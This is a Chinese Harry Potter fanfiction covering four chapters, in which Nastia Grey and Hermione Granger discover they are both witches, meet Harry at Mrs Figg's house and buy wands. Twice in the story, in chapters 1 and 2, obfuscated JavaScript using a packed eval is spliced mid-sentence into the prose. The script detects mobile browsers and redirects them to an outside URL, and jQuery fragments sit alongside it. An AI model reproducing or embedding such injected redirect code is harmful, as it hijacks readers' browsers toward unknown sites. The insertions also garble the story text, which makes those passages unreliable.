《[HP]The Seven》 1. 第 1 章 六月底的某一天,天气出乎意料地好,阳光暖洋洋地照着草木和房屋。正值午休时间,到处都静悄悄的,一切都这么安静祥和。 伦敦郊区的一栋房子里,两个女孩正一前一后地坐在二楼卧室的地板上,满脸严肃地不知在商量什么。 “嘿,我从来不知道你的手劲这么大,轻点!”离化妆镜更近的那个女孩头发蓬松得就像松鼠尾巴,她似乎被朋友扯痛了,忍不住抱怨一声。 “我发誓,我用的力气没有前天清理地毯的一半大。”身后的女孩使劲将梳子往她面前送,“你瞧,梳子上一根头发都没粘上,我压根梳不动。” 赫敏·格兰杰不满地扭过身。 “请问,你现在是在拿我的头发和地毯做比较吗?”她问。 “不,当然不是,我只是举了个不大恰当的例子。你应该耐心一点——别动!”娜斯缇亚·格雷连忙顺了顺她蓬松的“尾巴”,作为安抚。 赫敏扭了扭身子,泄气般跪坐下。 * “好吧。”不知又过了多久,娜斯缇亚扔开梳子,倒在地上,“我累了,或许我们应该休息一下。” 赫敏还在试图用手指疏通着一个顽固的发结。 “我认为我们应该到浴室去,用你圣诞送我的柔顺剂,它还剩了一点儿。至少这几天我可以不用再为了头发发愁。”她厌烦地抱怨着。 娜斯缇亚的脸色僵了僵。 事实上,那可不是一般的柔顺剂。那是弗利蒙·波特(是的,就是那个“波特”)发明的,一款在巫师界畅销的产品。 如果伊丽莎白知道她胆敢送自己的麻瓜朋友这种礼物,一定会气得七窍生烟,亲自把她押送到韦斯莱家里。 娜斯缇亚·格雷是一名巫师,她从小就知道。 赫敏将发丝统统拢到耳朵后面,挨着娜斯缇亚躺下。 “说真的,我真希望你赶紧学会法语,搞清楚哪儿有得卖,这样你也不用冒着风险再去伊莱莎阿姨那里偷。你知道的,虽然我很喜欢,但是用起来总有点心慌。” “你喜欢的话,生日的时候我再送你一点。”娜斯缇亚闭着眼睛,随口说。 赫敏半天没说话。 等到娜斯缇亚意识到发生什么的时候,她的朋友已经抬手擦起了眼泪。 “嘿……赫敏,别这样。”娜斯缇亚一骨碌坐起来,手足无措地看着她。 “只要想到下学期再也见不到你,不能和你一起做家庭作业、看书,或者逛街、看电影,我就难过得受不了。” 赫敏的眼泪一滴接着一滴。娜斯缇亚不得不掏出手帕接着,几乎打湿了半张手帕。 “赫敏……你别哭了,每年的暑假和圣诞我都会回来找你的。”娜斯缇亚飞快地说,开了个无伤大雅的玩笑,“如果那时你还记得我的话。” 说实话,她也被赫敏搞得鼻子酸酸的。 虽然早就知道总有一天会分开,但是这一天真的要到来的时候,还是会忍不住难过。 “我当然会一直记得你。”赫敏擦掉最后一滴眼泪,狠狠地瞪了娜斯缇亚一眼。 “听着,就算你去了法国,我们依然是最好的朋友。我假设你每天八点能做完作业,那我会在七点前把作业做完。我们可以打电话,交换一天发生的趣事,就好像我们没分开一样。” 赫敏收拾好了自己的心情,娜斯缇亚反倒紧张起来。 霍格沃茨压根不能使用电子产品,她要怎么接到赫敏的电话? “呃,我上的是一所寄宿学校。我想我们可以……可以用写信的方式交谈,你喜欢写信吗,或许……”娜斯缇亚不想再继续这个危险的话题,只能装作眼睛很忙,上下左右地瞟着。 毕竟赫敏总能轻易拆穿她的谎言。 但赫敏并没有注意到朋友那老旧灯泡般闪个不停的目光。她被别的什么吸引了视线。 “嘿!” 她突然的大嗓门吓了娜斯缇亚一大跳。 “那有只猫头鹰!它在啄窗户呢!”赫敏激动地拍着娜斯缇亚的肩,急切地说。 娜斯缇亚几乎只愣了半秒钟,就魂飞魄散地蹿向了窗台。 电光石火间,她终于想起伊丽莎白临走前交代自己的话。 ——“这段时间你最好少乱跑,如果麻瓜看到猫头鹰给你送信,你要怎么解释?” 她的举动让魂飞魄散的人换成了赫敏。 “娜缇!别开窗——你会被啄伤的!”赫敏尖叫着,“嘿!它飞进来怎么办?” 娜斯缇亚已经迅速从口袋里摸出了几个纳特。 扯出信,塞钱,关窗。动作一气呵成。 她甚至不清楚自己到底给了它多少钱。 不过……为什么是两封? 她把信封转过来,好看清绿墨水写的地址和名字。 “梅林啊!” “天哪!” 两声尖叫从格兰杰家爆发,打破了夏日午后的宁静。 * 直到目送魔法部的工作人员和衔着回信的猫头鹰离开,格兰杰夫妇仍然像看外星人一样瞅着两个年轻的女孩。 “梅林啊……我们认识7年了,我竟然从来没发现你也是个巫师……”娜斯缇亚还紧紧攥着那两封信,一遍遍地查看。 两封信有着一样的地址,只是一封写着“娜斯缇亚·格雷小姐收”,而另一封写着“赫敏·格兰杰小姐收”。 赫敏似乎这时候才反应过来。 她瞪着娜斯缇亚,眼里似乎在喷射小火苗:“从现在到晚饭!你别想和我说一句话!娜斯缇亚·格雷!你打破了我们的约定!我们说好彼此没有秘密的!” 赫敏气冲冲地跑上楼。 珍妮弗·格兰杰搂住娜斯缇亚,安抚似的拍拍她的肩:“亲爱的,别难过,赫敏不会和你生气太久的。要知道,你们从小到大从没吵过一次架。” “我知道,珍妮阿姨。只是,我现在太高兴了!”娜斯缇亚兴奋地抱着信件转了个圈。 珍妮弗感慨道:“也许我们父母某一方的祖上曾经有过一名巫师。你说呢?”她看向自己的丈夫。 “这谁说得准呢。”莱斯特·格兰杰在沙发上坐下,慢悠悠地倒了一杯茶,嘴里还在啧啧称奇,“真不敢相信,这个世界竟然存在魔法。巫师!我简直想都不敢想,我们家却有两个!” “哦!我想我应该给伊莱莎写封信,她下周没必要接我去韦斯莱家里了。” 娜斯缇亚的脸上仍然挂着傻笑——为她和赫敏之后依旧在一起的校园生活。 “伊莱莎!”珍妮弗似乎才反应过来,“天哪,她瞒了我10年!她也是一名巫师,对吗?那么她的职业一定不是考古了?” 娜斯缇亚立刻端起点心盘,将一块饼干递到她嘴边:“噢,珍妮阿姨,你别生气,她只是担心你们被吓坏了,不能接受。” 事实上,伊丽莎白从没这么说过。她总说那句话:等到合适的时候。 不过她想,现在应该就是合适的时候。 莱斯特大笑起来。 珍妮弗眨眨眼:“亲爱的,我没有生你妈妈的气——当然,前提是你告诉我她真实的职业。” 娜斯缇亚心领神会。 “哦,我想她应该不会想瞒着你的。她是古灵阁的解咒员。” “古灵阁?” “就是巫师的银行。事实上,伊莱莎的工作和考古的确有一些相似的地方。她经常去世界各地的古墓和遗迹,负责破解那些古老高深的咒语。” 伊丽莎白·格雷女士是一名优秀的解咒员,在娜斯缇亚上小学之前,她一直留在伦敦工作,直到娜斯缇亚有能力照顾好自己,就重新投入了一线工作。 她也是一位开明的母亲,施魔法从来不避开女儿(有些巫师家庭认为,太早让孩子掌握魔法不是一件好事,这会让他们受伤)。相反,从娜斯缇亚四岁开始,伊丽莎白就教她如何正确控制自己,更好地运用体内的魔力。 但她坚持要女儿在麻瓜学校读完小学。 ——“这有益于你未来的成长。我保证。” 也正是从那时候开始,娜斯缇亚开始频繁地出入格兰杰家。 娜斯缇亚和格兰杰夫妇就着点心和热茶聊了一会。莱斯特听得几乎入了迷,直到珍妮弗掐了他一把,示意他停止追问。 “亲爱的,我想赫敏应该冷静下来了。我准备做一些点心,你帮我去问问她,一会想来一点冰淇淋松饼吗?” “我想她不会拒绝的!” 看着女孩飞奔上楼的身影,夫妻俩同时笑了起来。 * “我能进来吗?” 赫敏的房门关得并不严实,娜斯缇亚悄悄推开一道缝,小心翼翼地瞅着坐在书桌前的赫敏。 赫敏冷哼一声,头也不回。 但娜斯缇亚知道这是她在表示同意。 她生气时总是这样。 娜斯缇亚溜进去,跪坐在毯子上,扯着赫敏的衣角。 “赫敏——”拉长的声调。 赫敏又哼了一声。 这是解释的好机会。 “首先,我要郑重地向赫敏·格兰杰小姐道歉——为我半个钟头前说的谎话,导致她伤心难过。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437130|141476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “当然,娜斯缇亚·格雷说过的‘善意的谎言’不止这一个。如果赫敏·格兰杰小姐对回忆里的任何一点细节有不满意的地方,随时可以提出质疑,娜斯缇亚·格雷将毫无保留地向她解释清楚。”娜斯缇亚故意用一板一眼的口吻说。 赫敏终于将脑袋转了过来。 “柔顺剂——” “现在你想要有多少都可以,”娜斯缇亚说道,“今年生日我可以送你一大瓶。” 赫敏翻了个白眼:“你还是直接带我去买吧。刚刚那个魔法部的工作人员说的对角巷是什么地方?我想去逛逛。” “没问题!”娜斯缇亚兴奋地滔滔不绝起来,“我们可以先去书店挑几本你感兴趣的书,然后去弗洛林冰淇淋店坐一个下午!如果你想买一只宠物的话,我很乐意陪你,我认为你应该不会喜欢一只蟾蜍,但是养一只猫咪还是很不错的……我养了一只猫头鹰,也许今天我可以介绍你们认识……” “嘿!嘿!停!”赫敏好气又好笑地打断她,“还记得吗?现在是‘审讯时间’!” 娜斯缇亚立刻抿起嘴,可怜巴巴地看她。 赫敏才不会在这时候心软呢。 …… “我记得五岁的时候,有一次你为了拿卡在树上的羽毛球,莫名其妙挂在树上下不来,妈妈甚至叫来了消防队——” 娜斯缇亚满脸心虚。 说实话,她提起的很多事,娜斯缇亚甚至自己都快不记得了,但赫敏居然还能说出每一件事发生的大致时间、地点和细节。 “我早就说了!你根本不会爬树!况且那棵树足足有20英尺高!爸爸还说什么危机爆发潜能!” “你说的莫名其妙……应该是魔法部给你们施了遗忘咒,把这部分记忆抹去了……”娜斯缇亚尴尬地抹抹鼻子。 因为这件事,她一直到九岁才学会骑扫帚飞行。 “不过,伊莱莎说,年纪小的巫师多少都会出现这种情况的,”娜斯缇亚见势不对,立刻把话题引向别的地方,“你有过吗?赫敏?” “也许……”赫敏认真地回想了一会,“三年级的时候,史丹夫抓了一只青蛙,说放学后要教大家解剖——” “我记得这件事。”娜斯缇亚说,“当时菲亚和我们都劝他把青蛙放掉——他爸爸是医生,但他可不是。” “那只可怜的青蛙被关在透明的盒子里,一直试图跳出来。”娜斯缇亚记得,三年级的时候,赫敏的座位恰好在史丹夫后面,“我看见它的样子,觉得很难过,那一刻,我特别希望盒子能坏掉,它能顺着窗户逃走……” 娜斯缇亚回想片刻,惊呼一声:“梅林啊,我真是一个傻瓜!” 那天下午的数学课,史丹夫抽屉里的盒子真的在他的尖叫声中自己打翻了,所有人都看见青蛙踩在史丹夫脸上,轻轻一跃,就从窗台跑走了。 在大家的笑声和老师的怒吼中,娜斯缇亚和菲亚偷偷在桌下击掌,却看见赫敏有些魂不守舍。 “原来是这样……太棒了!”娜斯缇亚一把搂住朋友,“赫敏,我敢说,你一定会成为最厉害的女巫!这种控制力可不是谁都有的。” “噢,娜缇,别这么说。我想你一定知道很多咒语。”赫敏有些脸红,说。 “伊莱莎教过我一些。”娜斯缇亚一眼就看出她在想什么,“放心吧,等我把书给你看看,你保管一学就会。它们难不倒你!更何况……” “你会帮我的,对吗?”赫敏问。 娜斯缇亚点点头。 她知道,赫敏这段时间一直在预习中学的课本,并且已经学完了数学,每天还能抽空来监督自己的法语学习。 “从今天开始,你要认真向格雷老师学习。”她故作严肃地说。 “哦!我差点忘了!”赫敏笑了一会,忽然想起了什么,“你做家务比我快的时候果然有鬼!” 娜斯缇亚赶紧为自己申辩:“我也没有经常用。” 赫敏一语道破了真相:“是啊,只在和我打赌的时候。” 娜斯缇亚心虚地、默不作声地移开眼睛。 她知道附近住着几户巫师人家,所以才敢这么肆无忌惮。 “不过你说得对,我应该早点开始预习。” “你想的话,我们现在可以回家,把我的书都搬过来。我刚刚看了一年级的书单,好几本我家都有。而且我想,你对一些教材外的书会感兴趣的。” 听到这里,赫敏根本顾不上生气了。 “现在就去!立刻!” 她用力攥住娜斯缇亚的手,眼中迸发出求知若渴的光。 2. 第 2 章 赫敏一头扎进了书海。 自从她捧起那些比她的脑袋还大的书,每天的用餐时间,都成了娜斯缇亚和格兰杰夫妇准时收看“关于魔法界你应该知道的那些事”栏目的时间。 其中最高兴的莫过于娜斯缇亚:她宁愿去抄十遍陀思妥耶夫斯基的《罪与罚》,也不想打开任何历史书。 可她的朋友——赫敏·格兰杰,只需要把书本看上两遍,就能把它们牢牢记在脑子里。 那些枯燥无味的历史事件只要从赫敏的嘴巴里讲出来,仿佛施了咒般变得有意思起来。它们从文字变成一个又一个跳动的音符,排着队乖乖从耳朵钻进她的脑袋。 鉴于娜斯缇亚是栏目唯一的热心听众,格兰杰老师不吝于在入睡时为她额外增加一小时的补课时间。 比如今晚。 “唉……”娜斯缇亚长长地叹出一口气,“我的魔法史一定会和我的历史一样糟糕。” “我想也是。你的历史实在太差了,要你把那些事件和时间对上号,简直比登天还难。”赫敏直言不讳地说,“可我早就告诉过你,如果你沉下心来学的话,我相信你一定……” “赫敏,我无法想象没有你的校园生活。”娜斯缇亚挽住她的胳膊,强行打断施法,“谁来给我讲解这些知识呢?” 赫敏没有立刻接话,她沉默了一会。 “你知道的,娜缇,从小到大,我身边只有你一个好朋友。哦,我现在都还记得,我们刚认识的时候,因为史丹夫总是嘲笑我牙齿,你不知用了什么办法,让他的牙一整天都在变色,吓得他整整一个学期都紧闭着嘴,再也没敢来找我们的麻烦。” 娜斯缇亚想起这件事,哈哈大笑:“这没什么。变色墨水加上一点点的加固剂。”她借着小夜灯的光仔细地看了身边的女孩一眼,然后用力抱住了赫敏。 “他们根本不了解你。你是我见过最好的人。他们什么都不知道。”她说,“不过,没关系,我会一直陪在你身边。” 娜斯缇亚感受到赫敏将脑袋埋在了自己的臂弯,伸手回抱住自己。 拥抱永远是她们安慰彼此的最佳方式。 “而且,你也不止有我一个朋友啊。菲亚、蕾莎、斯黛拉、杰西卡都很喜欢你……她们偷偷和我说过。”她继续说。 赫敏愣了愣。 她在心底叹了一口气,掩饰住有些低落的情绪:“娜缇,这不一样。” “好吧,我也这么觉得,你和其他人也不一样。”娜斯缇亚傻乎乎地笑了笑。 “我今天看《霍格沃茨,一段校史》,”赫敏决定停止讨论这个话题,“书上说霍格沃茨有四个学院。我有点担心。” “担心什么?” “我们要是不能分在一起,怎么办?” 娜斯缇亚想了想:“嗯……伊莱莎说我应该能去拉文克劳。不过她不告诉我分院是怎么回事。别担心,如果是自己选的话,我肯定会和你一起的……虽然听她的口气,我想应该不会是这么一回事。” “拉文克劳?哦,我想是的。” 赫敏的声音听起来有些紧张,娜斯缇亚敏锐地察觉到了:“你不大喜欢拉文克劳吗?” “不,我并不是对拉文克劳有什么意见。”赫敏道,“但我觉得格兰芬多不错,听说现在的校长邓布利多就是那儿毕业的。” 娜斯缇亚点点头:“是呀,伊莱莎总说邓布利多是当代最伟大的巫师。不过……”她突然想起韦斯莱一家。 “不过什么?” “我认识的一个巫师家庭,他们全家都是格兰芬多。我想,这事会不会和遗传有些关系?” 搂着她的双臂一下收紧了。 娜斯缇亚“嗷”地叫出声。 “天哪!那你知道你爸爸妈妈是哪个学院的吗?” “嗯……据我所知,他们都是拉文克劳。” 赫敏又沉默了。 又过了好久,她仿佛下定决心般吸了口气:“好吧,我明天会好好地了解一下这个学院。” “没关系,赫敏,去你喜欢的地方吧。”娜斯缇亚哈哈大笑,“哪个学院对我来说都一样,我没有什么执念。”她亲昵地蹭了蹭赫敏的脸颊。 “可我还是更想和你在一起。”赫敏执着地说。 “那当然了,我也不想和你分开……”娜斯缇亚想了想,“嘿,我们真傻,为什么不一起去格兰芬多呢?” “你愿意吗?” “当然呀。”娜斯缇亚觉得她这句话真是废话,“为什么不呢?” 女孩们不约而同地看向对方,笑起来。 * 第二天清晨,女孩们是被一只猫头鹰的撞击声惊醒的。 赫敏先一步起床,拉开窗户取信(她现在做这件事已经很熟练了)。 “娜缇,你的信。”她掀开被窝,把信往娜斯缇亚手里一塞。 “我好困……”娜斯缇亚坚决不肯张开握拳的手掌,“赫敏,帮我拆开好吗。” 赫敏展开信纸,仔细地看了一会。 大约半分钟后,她清了清嗓子:“是伊莱莎阿姨寄来的,她要你替她去探望‘费格太太’——哦,这位可怜的女士将腿摔断了。伊莱莎阿姨要你一定在收到信当天中午之前就到那里。信里附了一小瓶药剂,要你带给她。” “还有,她问你是不是又把双面镜扔在角落积灰了。”赫敏问,“什么是双面镜?” 知无不言的格雷老师现在不想回答。 她应了一声,像鸵鸟那样把脑袋蒙进被窝。 “娜缇,我想你现在必须得出发了。”赫敏扯了扯被子。 娜斯缇亚用力地蹬了蹬床,在被子里翻滚两圈:“梅林啊,有人可怜可怜我吗——现在才八点!” “她为什么不直接用猫头鹰?非要我跑这一趟。” 这抱怨毫无意义。 那位费格太太有着巫师血统,但不会使用魔法,一直住在麻瓜小镇。当然,娜斯缇亚觉得她人不坏,尤其是——她家里足足有四只小猫。 但她家里实在没什么好吃的,如果要上门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“是的。”娜斯缇亚对于在费格太太面前提起入学这件事有些不大自在。 不过对方显然不是那么介意。 “这么说,应该能成为同学……”她自言自语着。 * 抹上药,费格太太又休息了一会,才站起身。 “娜缇,如果你不介意的话,我想出一趟门。你帮我喂喂这些猫咪,好吗?” 娜斯缇亚点点头:“如果您不介意,我想吃点面包行吗?” 她快饿晕了。 费格太太似乎被逗笑了:“亲爱的,你吃多少都行。柜子里有红茶。” “没关系,我自己可以。” 费格太太总是给她泡一种罐装的红茶。 但娜斯缇亚敢说,她自己经常喝的应该是橱柜第二层的那些茶包。 3. 第 3 章 几乎过了20分钟,在娜斯缇亚吃完第三个面包、喝第二杯红茶的时候,门开了。 “娜缇,你在这,这些坏家伙都不乱跑了。”费格太太的声音听起来气哼哼的。 娜斯缇亚笑了起来:“我想它们只是吃得走不动了。” 就在这时,玄关处闪进来一个人。 “娜缇,这是哈利;哈利,这是娜缇。”费格太太用满不在乎的声音向他们介绍着对方。 哈利——有一瞬间娜斯缇亚几乎以为站在自己面前这个灰扑扑的男孩子是大名鼎鼎的哈利·波特。 但是怎么可能呢?伊丽莎白说他现在住在自己的姨妈家。娜斯缇亚听说过那个地址,是个还不错的地方,住着一些生活条件中上的人家。 而面前这个“哈利”,旧衬衫下裹着一件不合身的T裇——她敢说里面那件衣服能塞下两个他。眼镜也破破烂烂,鼻托缠着至少10条胶带。 那个“哈利”住在什么地方来着? 萨里郡,小惠金区,女贞路……几号来着? 等等,小惠金区?!! 她现在不就在小惠金区吗? 娜斯缇亚努力收起震惊,向哈利问好:“你好。你想来点面包吗?如果你还没吃早饭的话。” 不知是不是她的错觉,费格太太似乎用赞许的目光看了自己一眼。 “现在,哈利,你可以看一会电视,我得去对街买点东西。” 娜斯缇亚想说自己准备回去了,但是没来得及。 费格太太几乎像只猫一样灵巧,立刻又闪出门外了。 她只好拿起一个面包,走到男孩面前:“你好,我叫娜斯缇亚·格雷。你呢?”她尽量让自己的声音听起来正常。 哈利似乎也有点尴尬,表情和语气都不大自然:“哈利·波特,很高兴认识你。”他接过面包,手臂僵硬得像一个机器人。 哈利·波特。 娜斯缇亚觉得自己的呼吸几乎暂停了。 没有一个巫师家庭的小孩会不认识他,当然。 即使她不是他的狂热粉丝,听到这个名字也做不到无动于衷。 如果金妮和自己一起站在这,现在她的耳膜应该要被尖叫刺穿了。 “不好意思,不过你多大了?” “11岁。你呢?” 年龄也对上了,娜斯缇亚想。 “我比你大一岁。” 哈利点点头:“你在这附近上中学吗?” “在这上中学?”娜斯缇亚有些困惑,“抱歉,我无意冒犯你。可是,你不去霍格沃茨吗?” 面前的男孩却露出比她还困惑的神色:“我没听过这个学校,抱歉。” 怎么回事?难道他不是一个巫师? 所以他才在费格太太这里? 这太荒谬了! 娜斯缇亚的惊愕被哈利看在眼里。 “嘿,别这副表情,我一直没什么机会到别的地方走走,没听过你的学校也很正常。”他看起来有些生气,但更多的是带着局促的尴尬。 “不不,抱歉,我不是这个意思。”娜斯缇亚连忙说,“你想吃蛋糕吗?巧克力味的。” 哈利看着她打开桌上的另一个包装,下意识拒绝了:“我不行——费格太太不会准我吃的。” 娜斯缇亚又大大地吃了一惊:“梅林啊,她怎么会这么对你?”她几乎没办法控制自己的音量。 哈利似乎没有预料到她的反应会这么剧烈。 他愣了愣,然后解释起来:“呃,她对我是不算好,但也不太坏。至少比我姨妈一家好点。” 娜斯缇亚的心情复杂极了。她把整个蛋糕推到哈利面前:“蛋糕是我买来的。现在这整个都归你了。” “你不吃吗?” “我吃不下了,”娜斯缇亚比划着,“我已经吃了三个这么大的面包。” 她一定要写一封信告诉伊丽莎白,巫师界大名鼎鼎的“大难不死的男孩”在麻瓜亲戚家过着什么日子。请她想想办法。 “费格太太和弗农姨父说,家里今天有客人。你是她家亲戚吗?”哈利努力地找着话题。 “我妈妈是她的朋友。” 说实话,娜斯缇亚现在有些尴尬。 费格太太对哈利的态度“不算好,但也不太坏”,而伊丽莎白是她的朋友。 “这样问有些冒昧,但是……你姨父一家对你不好吗?” 哈利露出了一个古怪的表情,但娜斯缇亚觉得他应该不是在苦笑,而且还带着一点嘲讽。 不管怎么说,他看起来不是很想谈这件事,娜斯缇亚赶紧道:“快尝尝蛋糕吧!” 哈利这才慢吞吞去解那块蛋糕的绳子。 “好吃吗?”几乎在哈利吞下第一口的那一刻,娜斯缇亚就迫不及待地问,“我之前没有吃过这家店的蛋糕。” 事实上,她现在还能吃下至少半块蛋糕。但是看着面前这个瘦得仿佛一吹就跑的男孩,娜斯缇亚感觉和他抢吃的简直就是一种罪过。 哈利很认真地点点头:“很好吃。” “你得多吃一些,你太瘦了。”说着,娜斯缇亚又去打开了电视,“你想看什么频 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可是不行,她无法在这位一直对自己这么和蔼的太太面前,理直气壮地问出那句:“哈利难道和您一样,也不会魔法吗?” 这太伤人了。 “是的。”她只是这样说,“费格太太,我想我应该回去了。”她要回家给伊丽莎白寄一封信,先问清楚情况。 “伊莱莎不在家,对吗?” “是的,她这两年几乎都在埃及。我现在住在朋友家里。”娜斯缇亚说。 费格太太想了想:“哪位朋友?那位格兰杰小姐?” 娜斯缇亚点点头。 “我还以为你妈妈会把你送到韦斯莱家里呢。” “本来是的,但我想和我最好的朋友一起过最后一个暑假。” “哦,当然。接下去你们就不能见面了,是不是?” 娜斯缇亚胡乱地点点头。 现在似乎不是告诉她“赫敏也是个巫师”的好时机。 于是费格太太整理好了食材和日用品:“好啦,那你确实该走啦,不然要赶不上午餐了。” “再会,费格太太。再见,哈利。” 哈利站起身,说了声:“再见,娜斯缇亚。” 打开门的那一刹,费格太太看着娜斯缇亚,用一种神秘的语调低声说:“你们很快会再见的。” 娜斯缇亚瞪大了眼睛,像梦游一样走出她的家。 4. 第 4 章 七月的第二周,赫敏终于看完了从娜斯缇亚家里抱来的所有书。 她们去了一趟对角巷,准备把开学要用的东西买回来。为此,娜斯缇亚特地带了一只施了空间咒语的托特包。 这个空间咒是伊丽莎白几年前为了圣诞节采购自创的咒语。它能使一件物品成为媒介,在一定范围内连接两个空间。当然,这个媒介的开口要足够大,能容纳放进去的物品。 娜斯缇亚连通了它和停在破釜酒吧附近的小车后备箱。 如果不是担心会在对角巷寸步难行,她一定会拖一个行李箱来。 在破釜酒吧,她们还听到了一个振奋人心的消息:哈利·波特——那个大难不死的男孩——回来了。 一个叫“海格”的人带着他来对角巷采买东西。据说,他将在今年前往霍格沃茨报道。 “看来他不是你说的那种……呃,不会魔法的巫师。”和娜斯缇亚一样,赫敏对“哑炮”这个词有些难以启齿。 “嘿,别这样,我只对你和伊莱莎说了这件事。她已经写信跟我解释了实际情况。” “什么?你居然又没告诉我?” 娜斯缇亚一愣,手忙脚乱地解释:“我本来想说的!真的!但伊莱莎随信送了一瓶柔顺剂给你,我转个身就把这事给忘了。” “好吧,看在柔顺剂的份上。所以实际情况是?” “德思礼一家——也就是哈利的姨妈一家,是他的监护人,费格太太恰好住在他家附近,偶尔会照看他。他不但会魔法,小时候似乎还和我一样出过大乱子。” 赫敏哼了一声:“这有什么的,我想麻瓜应该是察觉不出来的。毕竟他们不管遇到再离奇的事都会自我合理化。” “嘿!我们说好不再提这件事的。”娜斯缇亚抗议道。 赫敏冲她吐吐舌头。 尽职尽责的导游格雷小姐轻车熟路地带着格兰杰一家来到古灵阁换钱,并给自己取了一小袋金加隆。 在她的劝说下,第一站是奥利凡德的魔杖店(天知道赫敏有多想一头钻进书店)。 两个女孩之前偷偷练习咒语,用的都是亚伦的旧魔杖。一想到马上要有属于自己的魔杖,娜斯缇亚和赫敏都有些兴奋。 不知是不是临近开学,对角巷的人很多。赫敏一手拉着娜斯缇亚、一手拽着父母,生怕其中的哪一个走丢。 魔杖店又小又破,还十分不起眼。但娜斯缇亚已经对它的位置非常熟悉。 “格雷小姐,好久不见。”奥利凡德先生的形象完全符合格兰杰夫妇对巫师的猜想——苍白的皮肤、神秘优雅的气质,还有那双仿佛参透一切奥秘的浅色眼睛。 “您好,先生。”娜斯缇亚微笑着向他问好。 “我还记得当年你陪韦斯莱那家的双胞胎来买魔杖……那时候你就想要一支自己的魔杖。现在你12岁了,是不是?” 他用很轻柔的声音说话,但是说出来的话却让她恨不得找个地缝钻进去。 “是的,但我想让我朋友先挑选。”娜斯缇亚结结巴巴地说完,把嗤嗤笑着的赫敏推上前。 “不……我想……”奥利凡德先生鼓励的目光和微笑让赫敏把剩下的话吞了回去,“好吧。” 他掏出一条闪着银光的卷尺,为她们一一量好了尺寸。 娜斯缇亚和赫敏的惯用手都是右手。 “对于年轻的巫师,我这总有一些适合你们的魔杖……我记得,你父亲的魔杖是柏木做的,当然,他是一名勇士;你母亲选中的是栗木魔杖,啊,她很优秀,在魔咒方面很有天赋。”他一边聊着天,一边抽出一些长匣子。 不仅是两个年轻女孩,格兰杰夫妇也专注地盯着他。 奥利凡德将那些长匣子摆在面前,抽出一支递给赫敏:“那么,格兰杰小姐,先试试这支。” 赫敏有些僵硬地接过他手里的魔杖,还没来得及照他说的挥上一下,就被喊了停。 “不不,我想这一支更合适……”他嘴里念叨着一些令人云里雾里的话,又塞给赫敏一支魔杖。 赫敏尝试着挥了一下手中的魔杖。 她脑袋上的灯泡忽然“嗤”一声灭了。 “哦——抱歉先生。”她的脸都憋红了,整个人看起来像一只抱着苹果的小刺猬,试图把自己藏进灌木丛里。 娜斯缇亚拍拍她手臂:“放心吧,赫敏,我记得之前弗雷德试魔杖的时候差点把店里的玻璃砸碎了。” 赫敏看起来一点也没有放下心。她“嗖”地放下了魔杖,在奥利凡德先生鼓励的微笑中接过一支新的。 这次没有再发生什么,但赫敏似乎也没感觉到什么特别的,咬着唇放下了第三支魔杖。 奥利凡德先生看起来反倒很高兴,仿佛接下了某种挑战般兴奋:“哦,别灰心,格兰杰小姐,再挑剔的顾客都能在这里找到最理想、最完美、最适合的魔杖。让我想想——” 他又返回货架翻找起来。 赫敏握住好朋友的手。 娜斯缇亚感受到她的紧张,挠了挠她的手心。 她笑了起来,露出可爱的兔牙。 奥利凡德先生这次挑拣了近乎一分半钟,他高兴地抽出一支新匣子的时候,不小心连带着另一支匣子滚落下来。 “我早该注意到它,看,它已经迫不及待想和你见面了。”奥利凡德先生显然无暇顾及,“来,格兰杰小姐,拿着它。” 娜斯缇亚上前,将地上的匣子捡起来。 一蹲一站的功夫,赫敏已经握上了新魔杖。 “我感觉手心热热的。”她惊喜地说。 娜斯缇□□不自禁地将匣子一搂,鼓起掌来。 “来,试一试——” 在所有人鼓励的眼神中,赫敏试了试她们前些天练习的咒语。 “Lumos。” 一道光在略显昏暗的小店亮起。 格兰杰夫妇发出一声惊呼。 “好极了!葡萄藤木,龙心弦,十又四分之三英寸长——格兰杰小姐,我敢说你一定会成为一名优秀的巫师,葡萄藤木总是喜欢选择有远见和追求的巫师。” 赫敏的脸变得通红,结结巴巴地向奥利凡德先生道谢。她又看了娜斯缇亚一眼,似乎很不好意思地扑进珍妮弗怀里。 娜斯缇亚也很兴奋:“龙芯是威力最大的魔杖!” “是的——噢,格雷小姐,我注意到你已经拿着一支魔杖了,为什么不试一试呢?” 娜斯缇亚显然没反应过来,惊愕道:“这支吗?” 但她还是依言将它抽了出来。 事实上,在打开匣子的时候,她已经察觉到它的特殊和不同寻常。 “嘿!我想它蛮喜欢我的。”娜斯缇亚惊喜地举起魔杖,毫不犹豫地施出咒语,“Lumos!” 一道光线从魔杖顶端冲出来,射在墙壁上,照亮了赫敏闪闪发光的眼睛。 她朝娜斯缇亚笑着,倚过去给了对方一个拥抱。 “妙极了!我敢说,妙不可言!山毛榉,龙心弦,十一又四分之一英寸长——和格兰杰小姐的那支出自一对火龙,我不会记错!”奥利凡德 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娜斯缇亚一进去就走不动道了,渴望的目光黏在货架上琳琅满目的商品上,这里看看、那里摸摸。 “说实话,我早就想买一只自动搅拌的坩埚了。也许我能同时熬两锅药剂,对比一下它和我自己动手有什么区别……” “你看,这个坩埚可以折叠到这么小——我之前还没见过这么便携的呢。” “哦,我要换一套刀具了,赫敏你瞧,它的刀刃多么锋利啊,要是用这个解剖材料,不知道能省多少事。” 赫敏把喋喋不休的娜斯缇亚硬拖出了店里——但她没拦住对方下单水晶的小药瓶,反而被劝着也买一套。 “这是为了保证药剂的品质。”娜斯缇亚坚持这么说。 * 接下来的行程是定制校袍。 